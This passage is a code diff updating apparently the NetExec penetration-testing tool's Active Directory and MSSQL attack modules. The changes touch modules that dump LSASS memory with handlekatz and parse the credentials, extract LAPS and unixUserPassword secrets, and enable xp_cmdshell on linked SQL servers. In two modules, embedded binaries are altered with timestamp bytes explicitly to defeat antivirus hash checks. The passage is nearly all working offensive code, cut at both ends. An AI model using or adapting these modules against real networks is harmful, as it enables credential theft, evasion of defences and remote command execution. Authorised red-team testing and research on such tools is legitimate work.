for user in resp_parsed:
|
||||
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
|
||||
else:
|
||||
context.log.fail("No userPassword Found")
|
||||
context.log.fail("No unixUserPassword Found")
|
||||
@@ -11,7 +11,7 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
name = "group-mem"
|
||||
description = "Retrieves all the members within a Group"
|
||||
description = "[REMOVED] Retrieves all the members within a Group"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
@@ -19,7 +19,9 @@ class NXCModule:
|
||||
answers = []
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
[REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem.
|
||||
|
||||
group-mem: Specify group-mem to call the module
|
||||
GROUP: Specify the GROUP option to query for that group's members
|
||||
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
|
||||
@@ -34,6 +36,9 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
|
||||
return None
|
||||
|
||||
# First look up the SID of the group passed in
|
||||
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
|
||||
attribute = "objectSid"
|
||||
@@ -68,7 +73,7 @@ class NXCModule:
|
||||
def do_search(self, context, connection, searchFilter, attributeName):
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
|
||||
resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
|
||||
context.log.debug(f"Total number of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
|
||||
@@ -37,7 +37,7 @@ class NXCModule:
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
resp = connection.ldap_connection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["memberOf", "primaryGroupID"],
|
||||
sizeLimit=0,
|
||||
|
||||
+19
-11
@@ -5,9 +5,9 @@
|
||||
import base64
|
||||
import re
|
||||
import sys
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
import pypykatz
|
||||
from pypykatz.pypykatz import pypykatz
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -34,6 +34,8 @@ class NXCModule:
|
||||
self.handlekatz_path = "/tmp/"
|
||||
self.dir_result = self.handlekatz_path
|
||||
self.useembeded = True
|
||||
# Add some random binary data to defeat AVs which check the file hash
|
||||
self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
|
||||
|
||||
if "HANDLEKATZ_PATH" in module_options:
|
||||
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
|
||||
@@ -50,7 +52,7 @@ class NXCModule:
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
handlekatz_loc = self.handlekatz_path + self.handlekatz
|
||||
|
||||
|
||||
if self.useembeded:
|
||||
try:
|
||||
with open(handlekatz_loc, "wb") as handlekatz:
|
||||
@@ -78,6 +80,7 @@ class NXCModule:
|
||||
|
||||
if not p or p == "None":
|
||||
context.log.fail("Failed to execute command to get LSASS PID")
|
||||
self.delete_handlekatz_binary(connection, context)
|
||||
return
|
||||
# we get a CSV string back from `tasklist`, so we grab the PID from it
|
||||
pid = p.split(",")[1][1:-1]
|
||||
@@ -96,12 +99,15 @@ class NXCModule:
|
||||
context.log.fail("Process lsass.exe error un dump, try with verbose")
|
||||
dump = False
|
||||
|
||||
if dump:
|
||||
if not dump:
|
||||
self.delete_handlekatz_binary(connection, context)
|
||||
return
|
||||
else:
|
||||
regex = r"([A-Za-z0-9-]*\.log)"
|
||||
matches = re.search(regex, str(p), re.MULTILINE)
|
||||
if not matches:
|
||||
context.log.display("Error getting the lsass.dmp file name")
|
||||
sys.exit(1)
|
||||
return
|
||||
|
||||
machine_name = matches.group()
|
||||
context.log.display(f"Copy {machine_name} to host")
|
||||
@@ -113,12 +119,7 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error while get file: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
|
||||
context.log.success(f"Deleted handlekatz file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
|
||||
|
||||
self.delete_handlekatz_binary()
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
|
||||
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
|
||||
@@ -182,3 +183,10 @@ class NXCModule:
|
||||
add_user_bh(credz_bh, None, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error opening dump file: {e}")
|
||||
|
||||
def delete_handlekatz_binary(self, connection, context):
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
|
||||
context.log.success(f"Deleted handlekatz file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
|
||||
@@ -0,0 +1,53 @@
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @joaovarelas"""
|
||||
|
||||
name = "hyperv-host"
|
||||
description = "Performs a registry query on the VM to lookup its HyperV Host"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
""""""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
|
||||
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
|
||||
key = "HostName"
|
||||
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
# Query
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
|
||||
self.context.log.highlight(f"{key}: {reg_value}")
|
||||
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
|
||||
except DCERPCException as e:
|
||||
self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
|
||||
|
||||
except DCERPCException as e:
|
||||
self.context.log.fail(f"DCERPC Error while querying registry: {e}")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error while querying registry: {e}")
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
@@ -6,7 +6,7 @@
|
||||
from base64 import b64decode
|
||||
from os import path
|
||||
import sys
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.paths import DATA_PATH
|
||||
|
||||
|
||||
@@ -29,8 +29,13 @@ class NXCModule:
|
||||
self.impersonate = "Impersonate.exe"
|
||||
self.useembeded = True
|
||||
self.token = self.cmd = ""
|
||||
|
||||
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
|
||||
self.impersonate_embedded = b64decode(impersonate_file.read())
|
||||
|
||||
# Add some random binary data to defeat AVs which check the file hash
|
||||
self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
|
||||
|
||||
if "EXEC" in module_options:
|
||||
self.cmd = module_options["EXEC"]
|
||||
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
|
||||
# Airbus CERT
|
||||
# module by @mpgn_x64
|
||||
# updated by @NeffIsBack
|
||||
|
||||
from ipaddress import ip_address
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter
|
||||
|
||||
|
||||
@@ -13,31 +14,36 @@ class NXCModule:
|
||||
description = "This module helps you to identify hosts that have additional active interfaces"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
|
||||
self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
authLevel = RPC_C_AUTHN_LEVEL_NONE
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
|
||||
portmap.connect()
|
||||
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(authLevel)
|
||||
portmap.connect()
|
||||
objExporter = IObjectExporter(portmap)
|
||||
bindings = objExporter.ServerAlive2()
|
||||
|
||||
objExporter = IObjectExporter(portmap)
|
||||
bindings = objExporter.ServerAlive2()
|
||||
context.log.debug(f"Retrieving network interface of {connection.host}")
|
||||
|
||||
context.log.debug("[*] Retrieving network interface of " + connection.host)
|
||||
|
||||
for binding in bindings:
|
||||
NetworkAddr = binding["aNetworkAddr"]
|
||||
try:
|
||||
ip_address(NetworkAddr[:-1])
|
||||
context.log.highlight("Address: " + NetworkAddr)
|
||||
except Exception as e:
|
||||
context.log.debug(e)
|
||||
for binding in bindings:
|
||||
NetworkAddr = binding["aNetworkAddr"]
|
||||
try:
|
||||
ip_address(NetworkAddr[:-1])
|
||||
if self.pivot:
|
||||
if NetworkAddr.rstrip("\x00") != connection.host:
|
||||
context.log.highlight(f"Address: {NetworkAddr}")
|
||||
else:
|
||||
context.log.highlight(f"Address: {NetworkAddr}")
|
||||
except Exception as e:
|
||||
context.log.debug(e)
|
||||
except DCERPCException as e:
|
||||
context.log.error(f"DCERPCException error: {e}")
|
||||
+3
-3
@@ -45,12 +45,12 @@ class NXCModule:
|
||||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return
|
||||
context.log.fail(str(e))
|
||||
continue
|
||||
r = json.loads(data)
|
||||
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
|
||||
elif "mslaps-password" in values:
|
||||
|
||||
+228
-171
@@ -1,6 +1,8 @@
|
||||
import socket
|
||||
import ssl
|
||||
import asyncio
|
||||
import hashlib
|
||||
import random
|
||||
|
||||
from msldap.connection import MSLDAPClientConnection
|
||||
from msldap.commons.target import MSLDAPTarget
|
||||
@@ -10,19 +12,18 @@ from asyauth.common.credentials.ntlm import NTLMCredential
|
||||
from asyauth.common.credentials.kerberos import KerberosCredential
|
||||
|
||||
from asysocks.unicomm.common.target import UniTarget, UniProto
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Checks whether LDAP signing and channelbinding are required.
|
||||
Checks whether LDAP signing and LDAPS channel binding are required and/or enforced.
|
||||
|
||||
Module by LuemmelSec (@theluemmel), updated by @zblurx
|
||||
Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0
|
||||
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
|
||||
"""
|
||||
|
||||
name = "ldap-checker"
|
||||
description = "Checks whether LDAP signing and binding are required and / or enforced"
|
||||
description = "Checks whether LDAP signing and channel binding are required and / or enforced"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -30,173 +31,229 @@ class NXCModule:
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Conduct a bind to LDAPS and determine if channel
|
||||
# binding is enforced based on the contents of potential
|
||||
# errors returned. This can be determined unauthenticated,
|
||||
# because the error indicating channel binding enforcement
|
||||
# will be returned regardless of a successful LDAPS bind.
|
||||
async def run_ldaps_noEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
|
||||
# Required step to try to bind without channel binding
|
||||
ldapsClientConn.cb_data = None
|
||||
# Conduct a bind to LDAPS and determine if channel
|
||||
# binding is enforced based on the contents of potential
|
||||
# errors returned. This can be determined unauthenticated,
|
||||
# because the error indicating channel binding enforcement
|
||||
# will be returned regardless of a successful LDAPS bind.
|
||||
async def run_ldaps_noEPA(self, context, connection, target, credential):
|
||||
try:
|
||||
client = MSLDAPClientConnection(target, credential)
|
||||
_, err = await client.connect()
|
||||
if err:
|
||||
context.log.debug(f"Error connecting to {connection.domain}: {err}")
|
||||
return None
|
||||
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
sys.exit()
|
||||
|
||||
valid, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True # channel binding IS enforced
|
||||
elif "data 52e" in str(err):
|
||||
return False # channel binding not enforced
|
||||
client.cb_data = None
|
||||
_, err = await client.bind()
|
||||
if err and "data 80090346" in str(err):
|
||||
return True # -> channel binding IS enforced
|
||||
elif err and "data 52e" in str(err):
|
||||
return False # -> channel binding not enforced
|
||||
elif err is None:
|
||||
# LDAPS bind successful
|
||||
# because channel binding is not enforced
|
||||
return False
|
||||
|
||||
# Conduct a bind to LDAPS with channel binding supported
|
||||
# but intentionally miscalculated. In the case that and
|
||||
# LDAPS bind has without channel binding supported has occurred,
|
||||
# you can determine whether the policy is set to "never" or
|
||||
# if it's set to "when supported" based on the potential
|
||||
# error received from the bind attempt.
|
||||
async def run_ldaps_withEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
sys.exit()
|
||||
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
|
||||
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True
|
||||
elif "data 52e" in str(err):
|
||||
return False
|
||||
elif err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
elif err is None:
|
||||
return False
|
||||
|
||||
# Domain Controllers do not have a certificate setup for
|
||||
# LDAPS on port 636 by default. If this has not been setup,
|
||||
# the TLS handshake will hang and you will not be able to
|
||||
# interact with LDAPS. The condition for the certificate
|
||||
# existing as it should is either an error regarding
|
||||
# the fact that the certificate is self-signed, or
|
||||
# no error at all. Any other "successful" edge cases
|
||||
# not yet accounted for.
|
||||
def DoesLdapsCompleteHandshake(dcIp):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_sock = ssl_context.wrap_socket(
|
||||
s,
|
||||
do_handshake_on_connect=False,
|
||||
suppress_ragged_eofs=False,
|
||||
)
|
||||
ssl_sock.connect((dcIp, 636))
|
||||
try:
|
||||
ssl_sock.do_handshake()
|
||||
ssl_sock.close()
|
||||
return True
|
||||
except Exception as e:
|
||||
if "CERTIFICATE_VERIFY_FAILED" in str(e):
|
||||
ssl_sock.close()
|
||||
return True
|
||||
if "handshake operation timed out" in str(e):
|
||||
ssl_sock.close()
|
||||
return False
|
||||
else:
|
||||
context.log.fail("Unexpected error during LDAPS handshake: " + str(e))
|
||||
ssl_sock.close()
|
||||
return False
|
||||
|
||||
# Conduct and LDAP bind and determine if server signing
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
async def run_ldap(target, credential):
|
||||
try:
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
ldapsClientConn._disable_signing = True
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail(str(err))
|
||||
return False
|
||||
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if err is not None:
|
||||
errstr = str(err).lower()
|
||||
if "stronger" in errstr:
|
||||
return True
|
||||
# because LDAP server signing requirements ARE enforced
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
else:
|
||||
# LDAPS bind successful
|
||||
return False
|
||||
# because LDAP server signing requirements are not enforced
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
return False
|
||||
|
||||
|
||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
|
||||
secret = connection.password if not connection.nthash else connection.nthash
|
||||
if not connection.kerberos:
|
||||
credential = NTLMCredential(
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype,
|
||||
)
|
||||
else:
|
||||
kerberos_target = UniTarget(
|
||||
connection.host,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
hostname=connection.remoteName,
|
||||
dc_ip=connection.kdcHost,
|
||||
domain=connection.domain,
|
||||
proxies=None,
|
||||
dns=None,
|
||||
)
|
||||
credential = KerberosCredential(
|
||||
target=kerberos_target,
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype,
|
||||
)
|
||||
|
||||
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapIsProtected = asyncio.run(run_ldap(target, credential))
|
||||
if ldapIsProtected is False:
|
||||
context.log.highlight("LDAP Signing NOT Enforced!")
|
||||
elif ldapIsProtected is True:
|
||||
context.log.fail("LDAP Signing IS Enforced")
|
||||
else:
|
||||
context.log.fail("Connection fail, exiting now")
|
||||
sys.exit()
|
||||
|
||||
if DoesLdapsCompleteHandshake(connection.host) is True:
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
|
||||
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
|
||||
elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
|
||||
elif ldapsChannelBindingAlwaysCheck is True:
|
||||
context.log.fail('LDAPS Channel Binding is set to "Required"')
|
||||
return False # LDAPS bind successful -> channel binding not enforced
|
||||
else:
|
||||
context.log.fail("\nSomething went wrong...")
|
||||
sys.exit()
|
||||
context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}")
|
||||
return None
|
||||
except Exception as e:
|
||||
context.log.debug(f"Exception in run_ldaps_noEPA: {e}")
|
||||
return None
|
||||
finally:
|
||||
with contextlib.suppress(Exception):
|
||||
await client.disconnect()
|
||||
|
||||
# Conduct a bind to LDAPS with channel binding supported
|
||||
# but intentionally miscalculated. In the case that an
|
||||
# LDAPS bind without channel binding supported has occurred,
|
||||
# you can determine whether the policy is set to "never" or
|
||||
# if it's set to "when supported" based on the potential
|
||||
# error received from the bind attempt.
|
||||
async def run_ldaps_withEPA(self, context, connection, target, credential):
|
||||
try:
|
||||
client = MSLDAPClientConnection(target, credential)
|
||||
_, err = await client.connect()
|
||||
if err:
|
||||
context.log.fail(f"Error connecting to {connection.domain}: {err}")
|
||||
return None
|
||||
|
||||
try:
|
||||
context.log.debug("Retrieving TLS certificate hash...")
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_context.verify_mode = ssl.CERT_NONE
|
||||
|
||||
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
|
||||
cert = ssl_sock.getpeercert(binary_form=True)
|
||||
|
||||
if cert:
|
||||
cert_hash = hashlib.sha256(cert).digest()
|
||||
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
|
||||
pos = random.randint(0, len(cert_hash) - 1)
|
||||
tampered_bytes = bytearray(cert_hash)
|
||||
tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256
|
||||
context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}")
|
||||
context.log.debug(f"Modified byte at position {pos}")
|
||||
client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes)
|
||||
else:
|
||||
client.cb_data = b"\x00" * 64
|
||||
except Exception as e:
|
||||
context.log.debug(f"Failed to retrieve TLS certificate hash: {e}")
|
||||
client.cb_data = b"\x00" * 64
|
||||
|
||||
_, err = await client.bind()
|
||||
if err and "data 80090346" in str(err):
|
||||
return True
|
||||
elif (err and "data 52e" in str(err)) or err is None:
|
||||
return False
|
||||
else:
|
||||
context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}")
|
||||
return None
|
||||
except Exception as e:
|
||||
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
|
||||
return None
|
||||
|
||||
|
||||
# Domain Controllers do not have a certificate setup for
|
||||
# LDAPS on port 636 by default. If this has not been setup,
|
||||
# the TLS handshake will hang and you will not be able to
|
||||
# interact with LDAPS. The condition for the certificate
|
||||
# existing as it should is either an error regarding
|
||||
# the fact that the certificate is self-signed, or
|
||||
# no error at all. Any other "successful" edge cases
|
||||
# not yet accounted for.
|
||||
def does_ldaps_complete_handshake(self, context, dc_ip):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False)
|
||||
try:
|
||||
ssl_sock.connect((dc_ip, 636))
|
||||
ssl_sock.do_handshake()
|
||||
return True
|
||||
except Exception as e:
|
||||
if "CERTIFICATE_VERIFY_FAILED" in str(e):
|
||||
return True
|
||||
elif "handshake operation timed out" in str(e):
|
||||
return False
|
||||
else:
|
||||
context.log.fail(f"Unexpected error during LDAPS handshake: {e}")
|
||||
return False
|
||||
finally:
|
||||
ssl_sock.close()
|
||||
|
||||
# Conduct an LDAP bind and determine if server signing
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
async def run_ldap(self, context, target, credential):
|
||||
try:
|
||||
client = MSLDAPClientConnection(target, credential)
|
||||
client._disable_signing = True # deliberately disable LDAP signing on client connection
|
||||
_, err = await client.connect()
|
||||
if err:
|
||||
context.log.fail(f"Error connecting for LDAP bind: {err}")
|
||||
return None
|
||||
|
||||
_, err = await client.bind()
|
||||
if err:
|
||||
errstr = str(err).lower()
|
||||
if "stronger" in errstr:
|
||||
return True
|
||||
# because LDAP server signing requirements ARE enforced
|
||||
else:
|
||||
context.log.fail(f"LDAP bind error: {err}")
|
||||
return None
|
||||
else:
|
||||
# LDAPS bind successful
|
||||
return False
|
||||
# because LDAP server signing requirements are not enforced
|
||||
except Exception as e:
|
||||
context.log.debug(f"Exception during LDAP bind: {e}")
|
||||
return None
|
||||
|
||||
# Determine authentication context and proceed to
|
||||
# enumerate LDAP signing and channel binding settings
|
||||
def on_login(self, context, connection):
|
||||
stype = asyauthSecret.PASS
|
||||
secret = connection.password
|
||||
if connection.nthash:
|
||||
stype = asyauthSecret.NT
|
||||
secret = connection.nthash
|
||||
if connection.aesKey:
|
||||
stype = asyauthSecret.AES
|
||||
secret = connection.aesKey
|
||||
|
||||
anon_credential = NTLMCredential(
|
||||
secret="",
|
||||
username="",
|
||||
domain=connection.domain,
|
||||
stype=asyauthSecret.PASS
|
||||
)
|
||||
|
||||
if not connection.username and not secret:
|
||||
context.log.highlight("No credentials provided, skipping LDAP signing check")
|
||||
credential = anon_credential
|
||||
else:
|
||||
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
|
||||
if not connection.kerberos:
|
||||
credential = NTLMCredential(
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype
|
||||
)
|
||||
else:
|
||||
kerberos_target = UniTarget(
|
||||
connection.host,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
hostname=connection.remoteName,
|
||||
dc_ip=connection.kdcHost,
|
||||
domain=connection.domain,
|
||||
proxies=None,
|
||||
dns=None,
|
||||
)
|
||||
credential = KerberosCredential(
|
||||
target=kerberos_target,
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype,
|
||||
)
|
||||
|
||||
ldap_signing_status = None
|
||||
if connection.username or secret:
|
||||
target = MSLDAPTarget(
|
||||
connection.host, 389,
|
||||
hostname=connection.remoteName,
|
||||
domain=connection.domain,
|
||||
dc_ip=connection.kdcHost,
|
||||
)
|
||||
ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential))
|
||||
if ldap_signing_status is True:
|
||||
context.log.highlight("LDAP signing IS enforced")
|
||||
elif ldap_signing_status is False:
|
||||
context.log.highlight("LDAP signing NOT enforced")
|
||||
else:
|
||||
context.log.fail("Could not determine LDAP signing requirement.")
|
||||
|
||||
if self.does_ldaps_complete_handshake(context, connection.host):
|
||||
target = MSLDAPTarget(
|
||||
connection.host, 636,
|
||||
UniProto.CLIENT_SSL_TCP,
|
||||
hostname=connection.remoteName,
|
||||
domain=connection.domain,
|
||||
dc_ip=connection.kdcHost,
|
||||
)
|
||||
ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential))
|
||||
ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential))
|
||||
|
||||
if ldaps_noEPA is False and ldaps_withEPA is True:
|
||||
context.log.highlight("LDAPS channel binding is set to: When Supported")
|
||||
elif ldaps_noEPA is False and ldaps_withEPA is False:
|
||||
context.log.highlight("LDAPS channel binding is set to: Never")
|
||||
elif ldaps_noEPA is True:
|
||||
context.log.highlight("LDAPS channel binding is set to: Required")
|
||||
else:
|
||||
context.log.fail("Could not determine LDAPS channel binding settings")
|
||||
else:
|
||||
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
|
||||
@@ -0,0 +1,63 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Enable or disable xp_cmdshell on a linked SQL server
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "link_enable_xp"
|
||||
description = "Enable or disable xp_cmdshell on a linked SQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
self.action = None
|
||||
self.linked_server = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Defines the options for enabling or disabling xp_cmdshell on the linked server.
|
||||
ACTION Specifies whether to enable or disable:
|
||||
- enable (default)
|
||||
- disable
|
||||
LINKED_SERVER The name of the linked SQL server to target.
|
||||
"""
|
||||
self.action = module_options.get("ACTION", "enable")
|
||||
self.linked_server = module_options.get("LINKED_SERVER")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
